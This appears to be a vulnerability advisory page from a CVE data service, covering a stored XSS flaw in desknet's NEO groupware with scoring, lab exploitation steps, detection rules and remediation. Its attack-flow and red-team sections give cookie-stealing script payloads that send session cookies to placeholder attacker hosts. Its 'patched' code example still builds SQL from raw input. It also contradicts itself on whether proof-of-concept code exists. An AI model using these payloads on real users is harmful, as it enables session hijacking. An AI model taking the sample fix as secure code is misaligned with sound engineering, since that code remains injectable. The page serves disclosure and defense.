CVE-2025-55072
Executive Summary
CVE-2025-55072 is a stored cross-site scripting (XSS) vulnerability affecting desknet's NEO versions V2.0R1.0 through V9.0R2.0. This flaw allows an authenticated attacker to inject arbitrary JavaScript into the application, which is then stored and executed in the browsers of other users who view the affected content. The vulnerability has a CVSS score of 5.4 (Medium), with a low attack complexity and a requirement for user interaction. No public proof-of-concept or exploit code is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application, desknet's NEO, which is a groupware solution. The risk is primarily to organizations using this software internally.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – An attacker needs valid user credentials.
- User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view a page).
- Scope (S): Changed (C) – The impact is on resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for data theft or session hijacking make this a significant concern for organizations using the affected software.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The application fails to properly sanitize user-supplied input before storing it in a database or file system. When another user retrieves and views this data, the injected script executes in their browser context.
Attack Flow:
- Authentication: The attacker must first authenticate to the desknet's NEO application with valid credentials.
- Injection: The attacker identifies an input field (e.g., a comment, task description, or profile field) that is not properly sanitized. They inject a malicious JavaScript payload, such as:
or a more sophisticated payload to steal cookies:<script>alert('XSS')</script><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Storage: The application stores the malicious input in its database.
- Execution: When a victim user (e.g., an administrator or another employee) views the page containing the stored data, the browser renders the injected script, executing it.
- Impact: The attacker can then perform actions in the context of the victim's session, such as stealing session cookies, defacing the page, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is the lack of output encoding.
Vulnerable Code (Conceptual - Server-Side Rendering):
<?php
// Assume $user_input comes from a POST request
$comment = $_POST['comment'];
// Store directly without sanitization
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
?>
...
<!-- Later, when displaying -->
<div class="comment">
<?php echo $comment; ?> <!-- Vulnerable: no escaping -->
</div>
Patched Code (Conceptual):
<?php
$comment = $_POST['comment'];
// Sanitize input using a library like HTML Purifier or escape output
$safe_comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO comments (text) VALUES ('$safe_comment')");
?>
...
<div class="comment">
<?php echo $safe_comment; ?> <!-- Safe: escaped -->
</div>
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install a vulnerable version of desknet's NEO (V2.0R1.0 to V9.0R2.0) in a controlled environment.
- Create two user accounts:
attackerandvictim. - Log in as
attacker.
Exploitation Steps:
- Navigate to a feature that allows input (e.g., a task comment or a bulletin board post).
- Inject the following payload into the input field:
<script>fetch('https://attacker-controlled-server.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Log in as
victimand navigate to the same page. - The victim's browser will execute the script, sending their session cookie to the attacker's server.
- The attacker can then use the stolen cookie to impersonate the victim.
Advanced Payload (Session Hijacking):
var img = new Image();
img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
Blue Team (Defensive)
Detection:
- Monitor web application logs for unusual characters in input fields, especially
<script>,onerror,onload, andjavascript:. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding (e.g.,
htmlspecialcharsin PHP,escapein JavaScript). - Use a security library like OWASP Java Encoder or Microsoft AntiXSS.
- Regularly update the application if a patch becomes available.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL.
- Requests with patterns like
?cookie=or?data=in the query string.
- Host IOCs:
- Unexpected JavaScript code in database entries (e.g., in comments, posts, or profile fields).
- Web server logs showing requests with XSS payloads in POST or GET parameters.
- File IOCs:
- Log files containing entries with
<script>tags or encoded variants.
- Log files containing entries with
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Payload {
meta:
description = "Detects common stored XSS payloads in web application logs or database dumps"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-55072"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
$xss6 = "document.cookie" nocase
$xss7 = "fetch(" nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS Attempt in desknet's NEO
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in web application logs
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55072 Stored XSS Payload Detected"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or restrict access to features that allow user-generated content (e.g., comments, bulletin boards) until a patch is applied.
- Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
Long-Term Fix:
- Apply output encoding to all user-supplied data before rendering it in the browser.
- Use a security library for input validation and sanitization.
- Monitor the vendor's website for a security patch and apply it as soon as it is released.
Workarounds:
- If source code is available, manually patch the vulnerable input fields to escape HTML entities.
- Consider using a reverse proxy with XSS filtering capabilities.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.